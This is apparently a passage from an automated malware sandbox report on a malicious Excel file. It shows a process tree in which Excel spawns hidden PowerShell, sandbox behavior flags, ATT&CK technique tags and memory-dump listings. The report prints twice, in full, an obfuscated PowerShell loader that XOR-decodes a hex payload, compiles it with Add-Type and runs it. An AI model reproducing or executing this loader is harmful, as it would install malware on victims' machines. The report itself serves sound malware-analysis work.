534b5829100b01060a113716020b162d0c0516421004524b54590c060e4234100c1a071711300d0316162a17040b4a121a015d55554e4b5f3211160101111057311003110d4a1004524b544d59111c1611100d59525f1f130c00080b00591110031710014411170b0b0a05431f550704004c504c11170b0b0a0543185755075b1f4b1f11170b0b0a054313015600021a5f461b011d000740580a16160b0d1e421655004f075931170b0b0a054d3c0f14161a42040b104b100c10420a44525f0b5f185755075b1f4c28070d1e160c590a525f564b181b1b100743155b5256504e5f270d0d0f0716164d2d0d261b171c4a0557521c5a024c300c00171611100c034a0a55504d4e524f4b5f10541a5401495e51010c0311504a085b554d5153423d590807500118013f4a0a56504d4246590807500118014a2e061705100a3e50591910060d17160c430b55075406421f19'; $ab4b3f2 = f7cfc52($ab4b3f); Add-Type -TypeDefinition $ab4b3f2; [ff2f95]::fe79a73();
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious behavior: EnumeratesProcesses
  - Blacklisted process makes network request
  PID:2036
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\je4ufxpc\je4ufxpc.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2092
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES946B.tmp" "c:\Users\Admin\AppData\Local\Temp\je4ufxpc\CSCBD24B3AEF529470D9D8AC85A6B6D7521.TMP"
      4⤵
      PID:1144

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" -Embedding
1⤵
- Suspicious use of WriteProcessMemory
- Enumerates system info in registry
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
PID:3028
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden function f7cfc52 {param($j1652)$b4747='ybdbc';$a4b21e='';for ($i=0; $i -lt $j1652.length;$i+=2){$bac73f7=[convert]::ToByte($j1652.Substring($i,2),16);$a4b21e+=[char]($bac73f7 -bxor $b4747[($i/2)%$b4747.length]);}return $a4b21e;} $ab4b3f = '0c110d0c0459311d11171c0f5f1710100c034230001110070e5730110c17100f014c2a171601100c093101101510010111580c110d0c0459311d11171c0f4a260a18050a0d100d0b0711580c110d0c0459311d11171c0f4a2b2c4217170b0d1e42371b100d07094c2d1c165f6f690917060e0a1a42070e020a114404054b045d57182226080e2a14120b101751400f071117070851515b4e210c170b1b340d0a17165940241c1634100c1a230006111c1117404a2442141701150b0742100d03100b0059071c16060b0c442b0d0d32101043155b5256504e4a2d0c1729161642091a50060300551110100a1705440a014f015d4b582226080e2a14120b101751400f071117070851515b4e44270d0d101d320c100c10425e5940280d021d2e0d001118101d404a2442141701150b0742100d03100b0059071c16060b0c442b0d0d321010430b55075406511110100a1705440d5b4d5a5c4b582226080e2a14120b101751400f071117070851515b4e44270d0d101d320c100c105f412f0b161616180e34100c0d07071641503f4412161b0e0d01430a1605160a1a42011a171c100a4201160d0842134051070755512b0a16330d104403054c575c5b4f2c2b0a16330d10441551180450504f59170d0c1759040604514b01074e431617104216100c10420e400305545550593f260f152b09120c0b164c40281c100a070f4a504a060f15404842261716161b33160b0a165e5b30100e2e1614012f06140d161b41554237071735031716260b100b105e1f03081106503f44111718160d01431c1a1007111742120d0a1d421507021b004c2b0d0d3210104313045357511c4e2d0c1729161642124b560600574f4e0d0c1759010656554f5a564b580917060e0a1a421716020d0b07420a17164404064e5b055550514b1f2b0d0d321010430b0001045a4f425942114e0152074b1f550704004c504c4052415202535449005006521d5201525b5b4b4d590a1f4a1600061f5b525f5e300c1032170b4c3e0711164b1f050c0d0d441b514d0105591e300c1032170b420a5407405a590e5a4f5657554b0b0001045a4f4e0255001f0151504b5b515c52054855540050495305525049035652524f530252574953555241504b5f0b05510c52065a415f592b0d0d3210104d2307160d4a02050b160c591b565600185919372a171634161159015255014e54594a36300c1032170b4b515916100c1042101d01075b574a5f54590a1f4a45125a4a0101544b1754005b5b55015255014e5448521b4d52480d160d421706001a5b50514a5019030d1716421d50571a035f1f21001601393e59135503071f5f1f521b4a5348521b1f0448521b405219592a171634161159155d5452415a025f2e1810170a02154c250e0f16012c250f1600050e4b4a4b5f2f020b110c030f57210b121a51135503071f4e544e144054555a5b1f4e574b580807050001510c011543300c1032170b4a0a5407405a4a360c300c105457514b4f521b495255004a55155d5452415a024e5050591d50571a035e42341c00270e0a1c0c1042144e53060156440c0115432e0706210f10070a164b5059171611100c0342121a015d55554e5f210c1510100b0c0e1c0c104c241c16220d0f1d071632020d0a4c270d0f0b160d0d14070a164d2a1201010a180e220d0f1d07164c220912080b0018160d0d0d3d0310034a5240383e0c405a0150555b490255001f0151504b5b57535254480154554150591355521b01514c2716150a0e0c1806220b0f1c4a0255001f0151504b5b535553554852555056405752560749545455534b535353524d5b5103564b56065600495b5407571a520553514d005452534853065253495454525348530652534d035455521b5307404a551307015a4e54534b5829100b01060a113716020b162d0c0516421004524b54590c060e4234100c1a071711300d0316162a17040b4a121a015d55554e4b5f3211160101111057311003110d4a1004524b544d59111c1611100d59525f1f130c00080b00591110031710014411170b0b0a05431f550704004c504c11170b0b0a0543185755075b1f4b1f11170b0b0a054313015600021a5f461b011d000740580a16160b0d1e421655004f075931170b0b0a054d3c0f14161a42040b104b100c10420a44525f0b5f185755075b1f4c28070d1e160c590a525f564b181b1b100743155b5256504e5f270d0d0f0716164d2d0d261b171c4a0557521c5a024c300c00171611100c034a0a55504d4e524f4b5f10541a5401495e51010c0311504a085b554d5153423d590807500118013f4a0a56504d4246590807500118014a2e061705100a3e50591910060d17160c430b55075406421f19'; $ab4b3f2 = f7cfc52($ab4b3f); Add-Type -TypeDefinition $ab4b3f2; [ff2f95]::fe79a73();
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious behavior: EnumeratesProcesses
  - Blacklisted process makes network request
  PID:752
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ogvpi2by\ogvpi2by.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3264
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9CF6.tmp" "c:\Users\Admin\AppData\Local\Temp\ogvpi2by\CSC43E06020523473B8217217C4C4AE169.TMP"
      4⤵
      PID:3304

C:\Program Files\Microsoft Office\Root\Office16\excelcnv.exe
"C:\Program Files\Microsoft Office\Root\Office16\excelcnv.exe" -Embedding
1⤵
- Enumerates system info in registry
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
PID:2448

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3508-8-0x0000018A0E0B2000-0x0000018A0E0B7000-memory.dmp

Filesize
20KB

Download
memory/3508-7-0x0000018A0E0B2000-0x0000018A0E0B7000-memory.dmp

Filesize
20KB

Download
memory/3508-9-0x0000018A0E0B2000-0x0000018A0E0B7000-memory.dmp

Filesize
20KB

Download
memory/3832-3-0x00000282449CA000-0x00000282449DB000-memory.dmp

Filesize
68KB

Download
memory/3832-2-0x00000282450A0000-0x00000282450A5000-memory.dmp

Filesize
20KB

Download
memory/3832-1-0x00000282450A0000-0x00000282450A5000-memory.dmp

Filesize
20KB

Download
memory/4092-34-0x0000021AE9C10000-0x0000021AE9C11000-memory.dmp

Filesize
4KB

Download